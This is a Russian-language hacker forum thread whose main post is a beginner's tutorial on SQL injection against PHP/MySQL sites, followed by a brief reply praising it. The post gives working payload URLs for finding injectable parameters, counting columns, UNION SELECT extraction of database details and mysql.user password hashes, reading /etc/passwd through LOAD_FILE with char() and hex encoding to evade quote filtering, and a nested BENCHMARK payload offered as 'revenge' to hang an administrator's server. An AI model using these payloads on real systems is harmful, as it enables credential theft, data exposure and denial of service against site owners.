.::AngryHacker.4bb.ru::.

Информация о пользователе

Привет, Гость! Войдите или зарегистрируйтесь.


Вы здесь » .::AngryHacker.4bb.ru::. » Общий » SQL Injection для новичков


SQL Injection для новичков

Сообщений 1 страница 2 из 2

1

Данная уязвимость или вид атаки, которая позволяет пользователю выполнить некие команды в базе данных, создание файла, ввод/вывод данных ....
Не будем вникать, как обрабатывается сама команда в файле, а только лишь перейдем сразу к практике и что нам для этого требуется...

Для того чтобы осуществить инъекцие, нам требуется, собственно, её найти =), а делается это так:

Код:
 http://baga.com/index.php?id=22'

Как вы заметили мы подставили ' - кавычку., если в этом случае на экране появиться воде ошибки: MySQL Error: mysql_query..., то это означает, что бага существует... и нам следуется её реализовать...

Есть ещё один способ определения ошибки(баги, в свою очередь означающую - injection), ведь в файле может быть прописан заветный error_reporting(0)(не выводить ошибки) или preg_replace()....:

Код:
http://baga.com/index.php?id=23-1

Если появляется таже страница, что и в ?id=22, то бага все таки есть..

Применение
Собственно нашли мы багу, че дальше? Нам необходимо определить количество полей на странице, которые используются mysql(column или столбцов, как угодно). Делается это с помошью команды ORDER BY, которая значительно обгелчает подсчитываение количество столбцов. Так же очень важно поставить неправильное значение после ?id= чтобы нам выводилась не просто страница под номером №1, а именно то, что нам необходимо (Логин, пасс тоесть :Р) . Сделать это можно, например, так: ?id=-1 или так ?id=1111111.

Код:
?id=-1+order+by+100/*

Если появится ошибка, то количество столбцов меньше, чем 100.

Код:
?id=-1+order+by+10/*

Ошибки нет. Ага, значит столбцов больше или равно чем 10. и т.д. пока не найдем точное кол-во столбцов.

После нахождения верного количества столбцов приступим к составлению нормального запроса вида id=-1+UNION+SELECT+x/* , где x - количество столбцоб. О, как загнул ))
Тоесть если столбцов 10, то делаем следующее: id=-1+union+select+1,2,3,4,5,6,7,8,9,10/*

Сразу мжно узнать много интересной информации:

Код:
id=22'+Union+select+1,2,version(),4/* 
id=22'+Union+select+1,2,system_user,4/* 
id=22'+Union+select+1,2,database(),4/* 
id=22'+Union+select+1,2,user(),4/*

Теперь можно перебирать имена таблиц.

Код:
http://site/test.php?id=12+union+select+1,2,3,4,5,6+from+table1/*

Правильные запросы будут соответствовать существующим именам таблиц. Наверно, интересно будет проверить на существование таблиц users, passwords, admin, root, regusers и тд и тп.

у нас уже достаточно информации чтобы составить такой запрос.

Код:
http://site/test.php? id=9999+union+select+1,mysql.user.password,2+from+mysql.user/*

В случае, если имеются права на select из базы данных mysql, то этот запрос вернет нам хеш пароля, который в большинстве случаев легко расшифруется. Если выводиться только одна строка из запроса (например, вместо тела статьи), то можно передвигаться по строкам

Код:
http://site/test.php?id=9999+union+select+null,mysql.user.password,null+from+mysql.user+limit+0,1/*

http://site/test.php?id=9999+union+select+null,mysql.user.password,null+from+mysql.user+limit+1,1/*

текст файлов через MySQL инъекцию.

Если пользователь, под которым осуществляется доступ к бд, имеет права file_priv, то можно получить текст произвольного файла

Код:
http://site/test.php?id=9999+union+select+null,LOAD_FILE('/etc/passwd'),null/*

но есть такие печальные моменты, как фильтрация на кавычку ((, поэтому обходим следющим образом, а именно, кодируем слово /etc/passwd в char или 16 систему счисления

char: - char(47,101,116,99,47,112,97,115,115,119,100)
16 bit: - 0x2f6574632f706173737764

соответственно::

Код:
..id=-1+union+select+1,LOAD_FILE(char(47,101,116,99,47,112,97,115,115,119,100)),3,4/* 
..id=-1+union+select+1,LOAD_FILE(0x2f6574632f706173737764),3,4/*

И на закусу, бывает нам хочется насолить неприятелю, т.е злостному администратору, да так, шоб у него нах всё зависло, да-да, я говорю про Dos таку, ух как сладка порой месть =)

Код:
 ..id=BENCHMARK(10000000,BENCHMARK(100000 00,md5(curren t_date)))

Пожалуй, пока все ))

(c) dozzer.moy.su and hackzona.ru + сильно подкорректирована мной!

0

2

Отличная статья! Плюсы те + ;)

0


Вы здесь » .::AngryHacker.4bb.ru::. » Общий » SQL Injection для новичков